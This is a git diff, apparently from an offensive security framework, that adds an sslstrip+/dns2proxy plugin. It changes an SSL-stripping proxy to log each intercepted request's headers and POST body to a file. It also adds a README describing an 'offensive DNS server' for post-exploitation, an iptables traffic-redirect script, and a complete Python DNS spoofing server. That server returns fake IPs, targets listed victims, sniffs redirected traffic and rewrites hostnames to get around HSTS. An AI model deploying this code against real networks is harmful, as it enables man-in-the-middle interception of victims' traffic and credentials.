logging.debug("Sending request via SSL...") + elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): + if 'securelink' in headers: + del headers['securelink'] + self.logging.emit("Sending request via SSL...(%s %s)" % (client, url)) self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) else: - logging.debug("Sending request via HTTP...") + self.logging.emit("Sending request via HTTP...") self.proxyViaHTTP(address, self.method, path, postData, headers) def handleHostResolvedError(self, error): - logging.warning("Host resolution error: " + str(error)) - try: - self.finish() - except: - pass + self.logging.emit("Host resolution error: " + str(error)) + self.finish() def resolveHost(self, host): address = self.dnsCache.getCachedAddress(host) if address != None: - logging.debug("Host cached.") + self.logging.emit("Host cached.") return defer.succeed(address) else: - logging.debug("Host not cached.") + self.logging.emit("Host not cached.") return reactor.resolve(host) def process(self): - logging.debug("Resolving host: %s" % (self.getHeader('host'))) - host = self.getHeader('host') + host = self.urlMonitor.URLgetRealHost("%s" % self.getHeader('host')) + self.logging.emit("Resolving host: %s" % host) deferred = self.resolveHost(host) deferred.addCallback(self.handleHostResolvedSuccess) deferred.addErrback(self.handleHostResolvedError) - + def proxyViaHTTP(self, host, method, path, postData, headers): - connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) + connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) + self.save_req("debug_ssl.log", method + ' http://' + host + path + '\n' + str(headers) + '\n' + postData + '\n') connectionFactory.protocol = ServerConnection self.reactor.connectTCP(host, 80, connectionFactory) def proxyViaSSL(self, host, method, path, postData, headers, port): - clientContextFactory = ssl.ClientContextFactory() - connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) + self.save_req("debug_ssl.log", + method + ' https://' + host + path + '\n' + str(headers) + '\n' + postData + '\n') + clientContextFactory = ssl.ClientContextFactory() + connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) connectionFactory.protocol = SSLServerConnection self.reactor.connectSSL(host, port, connectionFactory, clientContextFactory) @@ -150,18 +191,18 @@ def sendExpiredCookies(self, host, path, expireHeaders): self.setResponseCode(302, "Moved") self.setHeader("Connection", "close") self.setHeader("Location", "http://" + host + path) - + for header in expireHeaders: self.setHeader("Set-Cookie", header) - self.finish() - + self.finish() + def sendSpoofedFaviconResponse(self): icoFile = open(self.getPathToLockIcon()) self.setResponseCode(200, "OK") self.setHeader("Content-type", "image/x-icon") self.write(icoFile.read()) - + icoFile.close() self.finish() diff --git a/plugins/external/sslstrip-hsts/dns2proxy/IPBouncer.sh b/plugins/external/sslstrip-hsts/dns2proxy/IPBouncer.sh new file mode 100644 index 0000000..28b0e41 --- /dev/null +++ b/plugins/external/sslstrip-hsts/dns2proxy/IPBouncer.sh @@ -0,0 +1,21 @@ +#!/bin/bash +# TCP Proxy using IPTables +# tcpproxy LOCAL_IP LOCAL_PORT REMOTE_IP REMOTE_PORT + +IPTABLES=/sbin/iptables + +echo 1 > /proc/sys/net/ipv4/ip_forward +sysctl net.ipv4.conf.all.forwarding=1 +# Flush nat table +$IPTABLES -t nat -F + +# tcpproxy LOCAL_IP LOCAL_PORT REMOTE_IP REMOTE_PORT +listen_address=$1 +listen_port=$2 +source_address=$1 +# source_port=$4 +destination_address=$3 +destination_port=$4 + +$IPTABLES -t nat -A PREROUTING --dst $listen_address -p tcp --dport $listen_port -j DNAT --to-destination $destination_address:$destination_port +$IPTABLES -t nat -A POSTROUTING -j MASQUERADE diff --git a/plugins/external/sslstrip-hsts/dns2proxy/README.md b/plugins/external/sslstrip-hsts/dns2proxy/README.md new file mode 100644 index 0000000..c9614eb --- /dev/null +++ b/plugins/external/sslstrip-hsts/dns2proxy/README.md @@ -0,0 +1,162 @@ +dns2proxy +========= + +Offensive DNS server + +This tools offer a different features for post-explotation once you change the DNS server to a Victim. + + +Feature 1 +--------- + +Traditional DNS Spoof adding to the response the original IP address. + +Using spoof.cfg file: + + hostname ip.ip.ip.ip + +>root@kali:~/dns2proxy# echo "www.s21sec.com 1.1.1.1" > spoof.cfg +> +>// launch in another terminal dns2proxy.py +> +>root@kali:~/dns2proxy# nslookup www.s21sec.com 127.0.0.1 +>Server: 127.0.0.1 +>Address: 127.0.0.1#53 +> +>Name: www.s21sec.com +>Address: 1.1.1.1 +>Name: www.s21sec.com +>Address: 88.84.64.30 + + +or you can use domains.cfg file to spoof all host of a same domain: + +>root@kali:~/demoBH/dns2proxy# cat dominios.cfg +>.domain.com 192.168.1.1 +> +>root@kali:~/demoBH/dns2proxy# nslookup aaaa.domain.com 127.0.0.1 +>Server: 127.0.0.1 +>Address: 127.0.0.1#53 +> +>Name: aaaa.domain.com +>Address: 192.168.1.1 + +Hostnames at nospoof.cfg will no be spoofed. + +Feature 2 +--------- + +This feature implements the attack of DNS spoofing adding 2 IP address at the top of the resolution and configuring the system to forward the connections. +Check my slides at BlackHat Asia 2014 [OFFENSIVE: EXPLOITING DNS SERVERS CHANGES] (http://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and the [Demo Video] (http://www.youtube.com/watch?v=cJtbxX1HS5I). + +To launch this attach there is a shellscript that automatically configure the system using IP tables. You must edit this file to adapt it to your system. DON´T FORGET AdminIP variable!!!! +Both IPs must be at the same system to let dns2proxy.py configurate the forwarding + +Usage: ia.sh < interface > [ip1] [ip2] + + +>root@kali:~/dns2proxy# ./ia.sh eth0 172.16.48.128 172.16.48.230 +>Non spoofing imap.gmail.com +>Non spoofing mail.s21sec.com +>Non spoofing www.google.com +>Non spoofing www.apple.com +>Non spoofing ccgenerals.ms19.gamespy.com +>Non spoofing master.gamespy.com +>Non spoofing gpcm.gamespy.com +>Non spoofing launch.gamespyarcade.com +>Non spoofing peerchat.gamespy.com +>Non spoofing gamestats.gamespy.com +>Specific host spoofing www.s21sec.com with 1.1.1.1 +>Specific domain IP .domain.com with 192.168.1.1 +>binded to UDP port 53. +>waiting requests. +>Starting sniffing in (eth0 = 172.16.48.128).... +> +>< at other terminal > +> +>root@kali:~/dns2proxy# nslookup www.microsoft.com 127.0.0.1 +>Server: 127.0.0.1 +>Address: 127.0.0.1#53 +> +>Name: www.microsoft.com +>Address: 172.16.48.128 +>Name: www.microsoft.com +>Address: 172.16.48.230 +>Name: www.microsoft.com +>Address: 65.55.57.27 + + +The fhtang.sh script will terminate the program and restore normal iptables. + +Hostnames at nospoof.cfg will no be spoofed. + + +Feature 3 +--------- + +Automatically the dns server detects and correct the changes thats my sslstrip+ do to the hostnames to avoid HSTS, so will response properly. + +This server is necesary to make the sslstrip+ attack. + +>root@kali:~/dns2proxy# nslookup webaccounts.google.com 127.0.0.1 <-- DNS response like accounts.google.com +>Server: 127.0.0.1 +>Address: 127.0.0.1#53 +> +>Name: webaccounts.google.com +>Address: 172.16.48.128 +>Name: webaccounts.google.com +>Address: 172.16.48.230 +>Name: webaccounts.google.com +>Address: 74.125.200.84 +> +>root@kali:~/dns2proxy# nslookup wwww.yahoo.com 127.0.0.1 <-- Take care of the 4 w! DNS response like +>Server: 127.0.0.1 www.yahoo.com +>Address: 127.0.0.1#53 +> +>Name: wwww.yahoo.com +>Address: 172.16.48.128 +>Name: wwww.yahoo.com +>Address: 172.16.48.230 +>Name: wwww.yahoo.com +>Address: 68.142.243.179 +>Name: wwww.yahoo.com +>Address: 68.180.206.184 + + +Instalation +----------- + +dnspython (www.dnspython.com) is needed. +Tested with Python 2.6 and Python 2.7. + + +Config files description +------------------------ + +domains.cfg (or dominios.cfg): resolve all hosts for the listed domains with the listed IP +>Ex: +>.facebook.com 1.2.3.4 +>.fbi.gov 1.2.3.4 + +spoof.cfg : Spoof a host with a ip +>Ex: +>www.nsa.gov 127.0.0.1 + +nospoof.cfg: Send always a legit response when asking for these hosts. +>Ex. +>mail.google.com + +nospoofto.cfg: Don't send fake responses to the IPs listed there. +>Ex: +>127.0.0.1 +>4.5.6.8 + +victims.cfg: If not empty, only send fake responses to these IP addresses. +>Ex: +>23.66.163.36 +>195.12.226.131 + +resolv.conf: DNS server to forward the queries. +>Ex: +>nameserver 8.8.8.8 + diff --git a/plugins/external/sslstrip-hsts/dns2proxy/dns2proxy.py b/plugins/external/sslstrip-hsts/dns2proxy/dns2proxy.py new file mode 100755 index 0000000..5cb648b --- /dev/null +++ b/plugins/external/sslstrip-hsts/dns2proxy/dns2proxy.py @@ -0,0 +1,750 @@ +#!/usr/bin/python2.6 +''' +dns2proxy for offensive cybersecurity v1.0 + + +python dns2proxy.py -h for Usage. + +Example: +python2.6 dns2proxy.py -i eth0 -u 192.168.1.101 -d 192.168.1.200 + +Example for no forwarding (only configured domain based queries and spoofed hosts): + python2.6 dns2proxy.py -i eth0 -noforward + +Example for no forwarding but add IPs + python dns2proxy.py -i eth0 -I 192.168.1.101,90.1.1.1,155.54.1.1 -noforward + +Author: Leonardo Nve ( leonardo.nve@gmail.com) +''' + + +import dns.message +import dns.rrset +import dns.resolver +import socket +import numbers +import threading +from struct import * +import datetime +import pcapy +import os +import signal +import errno +from time import sleep +import argparse + + +consultas = {} +spoof = {} +dominios = {} +transformation = {} +nospoof = [] +nospoofto = [] +victims = [] + +LOGREQFILE = "dnslog.txt" +LOGSNIFFFILE = "snifflog.txt" +LOGALERTFILE = "dnsalert.txt" +RESOLVCONF = "resolv.conf" +victim_file = "victims.cfg" +nospoof_file = "nospoof.cfg" +nospoofto_file = "nospoofto.cfg" +specific_file = "spoof.cfg" +dominios_file = "domains.cfg" +transform_file = "transform.cfg" + +parser = argparse.ArgumentParser() +parser.add_argument("-N", "--noforward", help="DNS Fowarding OFF (default ON)", action="store_true") +parser.add_argument("-i", "--interface", help="Interface to use", default="eth0") +parser.add_argument("-u", "--ip1", help="First IP to add at the response", default=None) +parser.add_argument("-d", "--ip2", help="Second IP to add at the response", default=None) +parser.add_argument("-I", "--ips", help="List of IPs to add after ip1,ip2 separated with commas", default=None) +parser.add_argument("-S", "--silent", help="Silent mode", action="store_true") +parser.add_argument("-A", "--adminIP", help="Administrator IP for no filtering", default="192.168.0.1") + +args = parser.parse_args() + +debug = not args.silent +dev = args.interface +adminip = args.adminIP +ip1 = args.ip1 +ip2 = args.ip2 +Forward = not args.noforward + +fake_ips = [] +# List of of ips +if args.ips is not None: + for ip in args.ips.split(","): + fake_ips.append(ip) + +Resolver = dns.resolver.Resolver() + +###################### +# GENERAL SECTION # +###################### + + +def save_req(lfile, str): + f = open(lfile, "a") + f.write(datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S") + ' ' + str) + f.close() + + +def SIGUSR1_handle(signalnum, frame): + global noserv + global Resolver + noserv = 0 + DEBUGLOG('Reconfiguring....') + process_files() + Resolver.reset() + Resolver.read_resolv_conf(RESOLVCONF) + return + + +def process_files(): + global nospoof + global spoof + global nospoof_file + global specific_file + global dominios_file + global dominios + global nospoofto_file + global transform_file + + for i in nospoof[:]: + nospoof.remove(i) + + for i in nospoofto[:]: + nospoofto.remove(i) + + for i in victims[:]: + victims.remove(i) + + dominios.clear() + spoof.clear() + + nsfile = open(nospoof_file, 'r') + for line in nsfile: + if line.startswith('#'): # instead of line[0] - this way it never throws an exception in an empty line + continue + h = line.split() + if len(h) > 0: + DEBUGLOG('Non spoofing ' + h[0]) + nospoof.append(h[0]) + + nsfile.close() + + nsfile = open(victim_file, 'r') + for line in nsfile: + if line.startswith('#'): # instead of line[0] - this way it never throws an exception in an empty line + continue + h = line.split() + if len(h) > 0: + DEBUGLOG('Spoofing only to ' + h[0]) + victims.append(h[0]) + + nsfile.close() + + nsfile = open(nospoofto_file, 'r') + for line in nsfile: + if line.startswith('#'): # instead of line[0] - this way it never throws an exception in an empty line + continue + h = line.split() + if len(h) > 0: + DEBUGLOG('Non spoofing to ' + h[0]) + nospoofto.append(h[0]) + + nsfile.close() + + nsfile = open(specific_file, 'r') + for line in nsfile: + if line.startswith('#'): # instead of line[0] - this way it never throws an exception in an empty line + continue + h = line.split() + if len(h) > 1: + DEBUGLOG('Specific host spoofing ' + h[0] + ' with ' + h[1]) + spoof[h[0]] = h[1] + + nsfile.close() + nsfile = open(dominios_file, 'r') + for line in nsfile: + if line.startswith('#'): # instead of line[0] - this way it never throws an exception in an empty line + continue + h = line.split() + if len(h) > 1: + DEBUGLOG('Specific domain IP ' + h[0] + ' with ' + h[1]) + dominios[h[0]] = h[1] + + nsfile.close() + + nsfile = open(transform_file, 'r') + for line in nsfile.readlines(): + if line.startswith('#'): # instead of line[0] - this way it never throws an exception in an empty line + continue + line = line.rstrip() + from_host = line.split(':')[0] + to_host = line.split(':')[1] + transformation[from_host] = to_host + + nsfile.close() + + return + + +def DEBUGLOG(str): + global debug + if debug: + print str + return + + +def handler_msg(id): + #os.popen('executeScript %s &'%id) + return + +###################### +# SNIFFER SECTION # +###################### + +class ThreadSniffer(threading.Thread): + def __init__(self): + threading.Thread.__init__(self) + + def run(self): + #DEBUGLOG( self.getName(), " Sniffer Waiting connections....") + go() + +def go(): + global ip1 + global dev + bpffilter = "dst host %s and not src host %s and !(tcp dst port 80 or tcp dst port 443) and (not host %s)" % ( + ip1, ip1, adminip) + cap = pcapy.open_live(dev, 255, 1, 0) + cap.setfilter(bpffilter) + DEBUGLOG( "Starting sniffing in (%s = %s)...." % (dev, ip1)) + + #start sniffing packets + while True: + try: + (header, packet) = cap.next() + parse_packet(packet) + except: + pass + #DEBUGLOG( ('%s: captured %d bytes, truncated to %d bytes' %(datetime.datetime.now(), header.getlen(), header.getcaplen()))) + +#function to parse a packet +def parse_packet(packet): + eth_length = 14 + eth_protocol = 8 + global ip1 + global consultas + global ip2 + + #Parse IP packets, IP Protocol number = 8 + if eth_protocol == 8: + #Parse IP header + #take first 20 characters for the ip header + ip_header = packet[eth_length:20 + eth_length] + + #now unpack them :) + iph = unpack('!BBHHHBBH4s4s', ip_header) + + version_ihl = iph[0] + #version = version_ihl >> 4 + ihl = version_ihl & 0xF + + iph_length = ihl * 4 + + #ttl = iph[5] + protocol = iph[6] + s_addr = socket.inet_ntoa(iph[8]) + d_addr = socket.inet_ntoa(iph[9]) + + + + #TCP protocol + if protocol == 6: + t = iph_length + eth_length + tcp_header = packet[t:t + 20] + + #now unpack them :) + tcph = unpack('!HHLLBBHHH', tcp_header) + + source_port = tcph[0] + dest_port = tcph[1] + # sequence = tcph[2] + # acknowledgement = tcph[3] + # doff_reserved = tcph[4] + # tcph_length = doff_reserved >> 4 + + + + if consultas.has_key(str(s_addr)): + DEBUGLOG(' ==> Source Address : ' + str(s_addr) + ' * Destination Address : ' + str(d_addr)) + DEBUGLOG(' Source Port : ' + str(source_port) + ' * Dest Port : ' + str(dest_port)) + # print '>>>> '+str(s_addr)+' esta en la lista!!!!.....' + comando = 'sh ./IPBouncer.sh %s %s %s %s' % ( + ip2, str(dest_port), consultas[str(s_addr)], str(dest_port)) + os.system(comando) + #print '>>>> ' + comando + comando = '/sbin/iptables -D INPUT -p tcp -d %s --dport %s -s %s --sport %s --j REJECT --reject-with tcp-reset' % ( + ip1, str(dest_port), str(s_addr), str(source_port)) + os.system(comando) + comando = '/sbin/iptables -A INPUT -p tcp -d %s --dport %s -s %s --sport %s --j REJECT --reject-with tcp-reset' % ( + ip1, str(dest_port), str(s_addr), str(source_port)) + os.system(comando) + #print '>>>> ' + comando + + #UDP packets + elif protocol == 17: + u = iph_length + eth_length + #udph_length = 8 + #udp_header = packet[u:u + 8] + #now unpack them :) + #udph = unpack('!HHHH', udp_header) + #source_port = udph[0] + #dest_port = udph[1] + #length = udph[2] + #checksum = udph[3] + #DEBUGLOG('Source Port : ' + str(source_port) + ' Dest Port : ' + str(dest_port) + ' Length : ' + str(length) + ' Checksum : ' + str(checksum)) + #h_size = eth_length + iph_length + udph_length + #data_size = len(packet) - h_size + #get data from the packet + #data = packet[h_size:] + + +###################### +# DNS SECTION # +###################### + +def respuestas(name, type): + global Resolver + + DEBUGLOG('Query = ' + name + ' ' + type) + try: + answers = Resolver.query(name, type) + except Exception, e: + DEBUGLOG('Exception...') + return 0 + return answers + + +def requestHandler(address, message): + resp = None + dosleep = False + try: + message_id = ord(message[0]) * 256 + ord(message[1]) + DEBUGLOG('msg id = ' + str(message_id)) + if message_id in serving_ids: + DEBUGLOG('I am already serving this request.') + return + serving_ids.append(message_id) + DEBUGLOG('Client IP: ' + address[0]) + prov_ip = address[0] + try: + msg = dns.message.from_wire(message) + try: + op = msg.opcode() + if op == 0: + # standard and inverse query + qs = msg.question + if len(qs) > 0: + q = qs[0] + DEBUGLOG('request is ' + str(q)) + save_req(LOGREQFILE, 'Client IP: ' + address[0] + ' request is ' + str(q) + '\n') + if q.rdtype == dns.rdatatype.A: + DEBUGLOG('Doing the A query....') + resp, dosleep = std_A_qry(msg, prov_ip) + elif q.rdtype == dns.rdatatype.PTR: + #DEBUGLOG('Doing the PTR query....') + resp = std_PTR_qry(msg) + elif q.rdtype == dns.rdatatype.MX: + DEBUGLOG('Doing the MX query....') + resp = std_MX_qry(msg) + elif q.rdtype == dns.rdatatype.TXT: + #DEBUGLOG('Doing the TXT query....') + resp = std_TXT_qry(msg) + elif q.rdtype == dns.rdatatype.AAAA: + #DEBUGLOG('Doing the AAAA query....') + resp = std_AAAA_qry(msg) + else: + # not implemented + resp = make_response(qry=msg, RCODE=4) # RCODE = 4 Not Implemented + else: + # not implemented + resp = make_response(qry=msg, RCODE=4) # RCODE = 4 Not Implemented + + except Exception, e: + DEBUGLOG('got ' + repr(e)) + resp = make_response(qry=msg, RCODE=2) # RCODE = 2 Server Error + DEBUGLOG('resp = ' + repr(resp.to_wire())) + except Exception, e: + DEBUGLOG('got ' + repr(e)) + resp = make_response(id=message_id, RCODE=1) # RCODE = 1 Format Error + DEBUGLOG('resp = ' + repr(resp.to_wire())) + except Exception, e: + # message was crap, not even the ID + DEBUGLOG('got ' + repr(e)) + + if resp: + s.sendto(resp.to_wire(), address) + if dosleep: sleep(1) # Performance downgrade no tested jet + + +def std_PTR_qry(msg): + qs = msg.question + DEBUGLOG( str(len(qs)) + ' questions.') + iparpa = qs[0].to_text().split(' ', 1)[0] + DEBUGLOG('Host: ' + iparpa) + resp = make_response(qry=msg) + hosts = respuestas(iparpa[:-1], 'PTR') + if isinstance(hosts, numbers.Integral): + DEBUGLOG('No host....') + resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN + return resp + + for host in hosts: + DEBUGLOG('Adding ' + host.to_text()) + rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.PTR, host.to_text()) + resp.answer.append(rrset) + + return resp + + +def std_MX_qry(msg): + qs = msg.question + DEBUGLOG(str(len(qs)) + ' questions.') + iparpa = qs[0].to_text().split(' ', 1)[0] + DEBUGLOG('Host: ' + iparpa) + resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN + return resp + #Temporal disable MX responses + resp = make_response(qry=msg) + hosts = respuestas(iparpa[:-1], 'MX') + if isinstance(hosts, numbers.Integral): + DEBUGLOG('No host....') + resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN + return resp + + for host in hosts: + DEBUGLOG('Adding ' + host.to_text()) + rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.MX, host.to_text()) + resp.answer.append(rrset) + + return resp + + +def std_TXT_qry(msg): + qs = msg.question + print str(len(qs)) + ' questions.' + iparpa = qs[0].to_text().split(' ', 1)[0] + print 'Host: ' + iparpa + resp = make_response(qry=msg) + + host = iparpa[:-1] + punto = host.find(".") + dominio = host[punto:] + host = "."+host + spfresponse = '' + if (dominio in dominios) or (host in dominios): + ttl = 1 + DEBUGLOG('Alert domain! (TXT) ID: ' + host) + # Here the HANDLE! + #os.popen("python /yowsup/yowsup-cli -c /yowsup/config -s \"Host %s\nIP %s\" > /dev/null &"%(id,prov_ip)); + save_req(LOGALERTFILE, 'Alert domain! (TXT) ID: ' + host+ '\n') + if host in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%host + if dominio in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%dominio + DEBUGLOG('Responding with SPF = ' + spfresponse) + rrset = dns.rrset.from_text(iparpa, ttl, dns.rdataclass.IN, dns.rdatatype.TXT, spfresponse) + resp.answer.append(rrset) + return resp + + + hosts = respuestas(iparpa[:-1], 'TXT') + if isinstance(hosts, numbers.Integral): + print 'No host....' + resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN + return resp + + for host in hosts: + print 'Adding ' + host.to_text() + rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.TXT, host.to_text()) + resp.answer.append(rrset) + + return resp + +def std_SPF_qry(msg): + qs = msg.question + print str(len(qs)) + ' questions.' + iparpa = qs[0].to_text().split(' ', 1)[0] + print 'Host: ' + iparpa + resp = make_response(qry=msg) + + # host = iparpa[:-1] + # punto = host.find(".") + # dominio = host[punto:] + # host = "."+host + # if (dominio in dominios) or (host in dominios): + # ttl = 1 + # DEBUGLOG('Alert domain! (TXT) ID: ' + host) + # # Here the HANDLE! + # #os.popen("python /yowsup/yowsup-cli -c /yowsup/config -s \"Host %s\nIP %s\" > /dev/null &"%(id,prov_ip)); + # save_req(LOGALERTFILE, 'Alert domain! (TXT) ID: ' + host+ '\n') + # if host in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%host + # if dominio in dominios: spfresponse = "v=spf1 a:mail%s/24 mx -all "%dominio + # DEBUGLOG('Responding with SPF = ' + spfresponse) + # rrset = dns.rrset.from_text(iparpa, ttl, dns.rdataclass.IN, dns.rdatatype.TXT, spfresponse) + # resp.answer.append(rrset) + # return resp + + + hosts = respuestas(iparpa[:-1], 'SPF') + if isinstance(hosts, numbers.Integral): + print 'No host....' + resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN + return resp + + for host in hosts: + print 'Adding ' + host.to_text() + rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.SPF, host.to_text()) + resp.answer.append(rrset) + + return resp + +def std_AAAA_qry(msg): + if not Forward: + DEBUGLOG('No host....') + resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN + return resp + qs = msg.question + DEBUGLOG(str(len(qs)) + ' questions.') + iparpa = qs[0].to_text().split(' ', 1)[0] + DEBUGLOG('Host: ' + iparpa) + resp = make_response(qry=msg) + hosts = respuestas(iparpa[:-1], 'AAAA') + + if isinstance(hosts, numbers.Integral): + DEBUGLOG('No host....') + resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN + return resp + + for host in hosts: + DEBUGLOG('Adding ' + host.to_text()) + rrset = dns.rrset.from_text(iparpa, 1000, dns.rdataclass.IN, dns.rdatatype.AAAA, host.to_text()) + resp.answer.append(rrset) + + return resp + +def std_A_qry(msg, prov_ip): + global consultas + global ip1 + global ip2 + global fake_ips + + dosleep = False + qs = msg.question + DEBUGLOG(str(len(qs)) + ' questions.') + resp = make_response(qry=msg) + for q in qs: + qname = q.name.to_text()[:-1] + DEBUGLOG('q name = ' + qname) + + host = qname.lower() + + dom1 = None + dominio = None + + punto1 = host.rfind(".") + punto2 = host.rfind(".",0,punto1-1) + + if punto1 > -1: + dom1 = host[punto1:] + + if punto2 > -1: + dominio = host[punto2:] + + + # punto = host.find(".") + # dominio = host[punto:] + + if (dominio in dominios) or (dom1 in dominios): + ttl = 1 + id = host[:punto2] + if dom1 in dominios: + id = host[:punto1] + dominio = dom1 + + if not id=='www': + DEBUGLOG('Alert domain! ID: ' + id) + # Here the HANDLE! + #os.popen("python /yowsup/yowsup-cli -c /yowsup/config -s \"Host %s\nIP %s\" > /dev/null &"%(id,prov_ip)); + handler_msg(id) + save_req(LOGALERTFILE, 'Alert domain! ID: ' + id + '\n') + DEBUGLOG('Responding with IP = ' + dominios[dominio]) + rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, dominios[dominio]) + resp.answer.append(rrset) + return resp, dosleep + + if ".%s"%host in dominios: + dominio = ".%s"%host + ttl = 1 + DEBUGLOG('Responding with IP = ' + dominios[dominio]) + rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, dominios[dominio]) + resp.answer.append(rrset) + return resp, dosleep + + ips = respuestas(qname.lower(), 'A') + if qname.lower() not in spoof and isinstance(ips, numbers.Integral): + # SSLSTRIP2 transformation + host2 = '' + for from_host in transformation.keys(): + if host.startswith(from_host): + host2 = transformation[from_host]+host.split(from_host)[1] + break + if host2 != '': + DEBUGLOG('SSLStrip transforming host: %s => %s ...' % (host, host2)) + ips = respuestas(host2, 'A') + + #print '>>> Victim: %s Answer 0: %s'%(prov_ip,prov_resp) + + if isinstance(ips, numbers.Integral): + DEBUGLOG('No host....') + resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN + return resp, dosleep + + prov_resp = ips[0] + consultas[prov_ip] = prov_resp + + ttl = 1 + if (host not in nospoof) and (prov_ip not in nospoofto) and (len(victims) == 0 or prov_ip in victims): + if host in spoof: + save_req(LOGREQFILE, '!!! Specific host (' + host + ') asked....\n') + for spoof_ip in spoof[host].split(","): + DEBUGLOG('Adding fake IP = ' + spoof_ip) + rrset = dns.rrset.from_text(q.name, 1000, dns.rdataclass.IN, dns.rdatatype.A, spoof_ip) + resp.answer.append(rrset) + return resp, dosleep + elif Forward: + consultas[prov_ip] = prov_resp + #print 'DEBUG: Adding consultas[%s]=%s'%(prov_ip,prov_resp) + if ip1 is not None: + rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, ip1) + DEBUGLOG('Adding fake IP = ' + ip1) + resp.answer.append(rrset) + if ip2 is not None: + #Sleep only when using global resquest matrix + dosleep = True + rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, ip2) + DEBUGLOG('Adding fake IP = ' + ip2) + resp.answer.append(rrset) + if len(fake_ips)>0: + for fip in fake_ips: + rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, fip) + DEBUGLOG('Adding fake IP = ' + fip) + resp.answer.append(rrset) + + if not Forward and prov_ip not in nospoofto: + if len(fake_ips) == 0: + DEBUGLOG('No forwarding....') + resp = make_response(qry=msg, RCODE=3) # RCODE = 3 NXDOMAIN + elif len(fake_ips) > 0: + DEBUGLOG('No forwarding (but adding fake IPs)...') + for fip in fake_ips: + rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, fip) + DEBUGLOG('Adding fake IP = ' + fip) + resp.answer.append(rrset) + return resp, dosleep + + for realip in ips: + DEBUGLOG('Adding real IP = ' + realip.to_text()) + rrset = dns.rrset.from_text(q.name, ttl, dns.rdataclass.IN, dns.rdatatype.A, realip.to_text()) + resp.answer.append(rrset) + + return resp, dosleep + + +# def std_A2_qry(msg): +# qs = msg.question +# DEBUGLOG(str(len(qs)) + ' questions.') +# iparpa = qs[0].to_text().split(' ',1)[0] +# print 'Host: '+ iparpa +# resp = make_response(qry=msg) +# rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.A, '4.4.45.4') +# resp.answer.append(rrset) +# return resp + +def std_ASPOOF_qry(msg): + global spoof + qs = msg.question + DEBUGLOG(str(len(qs)) + ' questions.') + iparpa = qs[0].to_text().split(' ', 1)[0] + DEBUGLOG('Host: ' + iparpa) + resp = make_response(qry=msg) + + for q in qs: + qname = q.name.to_text()[:-1] + DEBUGLOG('q name = ' + qname) + ' to resolve ' + spoof[qname] + # rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.facebook.com.') + # resp.answer.append(rrset) + # rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.yahoo.com.') + # resp.answer.append(rrset) + # rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.tuenti.com.') + # resp.answer.append(rrset) + # rrset = dns.rrset.from_text(iparpa, 1000,dns.rdataclass.IN, dns.rdatatype.CNAME, 'www.twitter.com.') + # resp.answer.append(rrset) + rrset = dns.rrset.from_text(q.name, 1000, dns.rdataclass.IN, dns.rdatatype.A, spoof[qname]) + resp.answer.append(rrset) + return resp + + +def make_response(qry=None, id=None, RCODE=0): + if qry is None and id is None: + raise Exception, 'bad use of make_response' + if qry is None: + resp = dns.message.Message(id) + # QR = 1 + resp.flags |= dns.flags.QR + if RCODE != 1: + raise Exception, 'bad use of make_response' + else: + resp = dns.message.make_response(qry) + resp.flags |= dns.flags.AA + resp.flags |= dns.flags.RA + resp.set_rcode(RCODE) + return resp + + +process_files() +Resolver.reset() +Resolver.read_resolv_conf(RESOLVCONF) +signal.signal(signal.SIGUSR1, SIGUSR1_handle) +s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) +s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) +s.bind(('', 53)) +if Forward: + DEBUGLOG('DNS Forwarding activado....') +else: + DEBUGLOG('DNS Forwarding desactivado....') + +DEBUGLOG('binded to UDP port 53.') +serving_ids = [] +noserv = True + +if ip1 is not None and ip2 is not None and Forward: + sniff = ThreadSniffer() + sniff.start() + +while True: + if noserv: + DEBUGLOG('waiting requests.') + + try: + message, address = s.recvfrom(1024) + noserv = True + except socket.error as (code, msg): + if code != errno.EINTR: + raise + + if noserv: + DEBUGLOG('serving a request.') + requestHandler(address, message) diff --git a/plugins/external/sslstrip-hsts/dns2proxy/dnsalert.txt b/plugins/external/sslstrip-hsts/dns2proxy/dnsalert.txt new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/plugins/external/sslstrip-hsts/dns2proxy/dnsalert.txt @@ 